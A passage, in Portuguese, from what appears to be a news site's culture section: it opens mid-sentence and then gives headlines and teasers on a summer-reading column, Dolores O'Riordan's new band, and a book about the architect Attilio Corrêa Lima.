sintomas do que causas - continuarão gritando do lado de fora de Ebbing, Missouri.

Leituras de verão (1) Sob o sol do Nordeste, “Os olhos do deserto”

Diante da promessa de sol e mar, o cronista se propõe a aproveitar a quinzena desta temporada de verão, na companhia da família e de uma leitura desobrigada

Imortalizada no The Cranberries, Dolores O’Riordan voltava à música com nova banda

Sem lançar um disco inteiro de canções inéditas desde 2012, grupo mais conhecido da cantora irlandesa, que vivia de raros shows, deu espaço a novidades no fim de sua vida

Attilio Corrêa Lima é analisado a partir de cartas ao pai

Anamaria Diniz, que já havia trabalhado em sua pesquisa de mestrado com os arquivos sobre o projeto que fundou Goiânia, publica livro que se debruça sobre o mundo de formação do arquiteto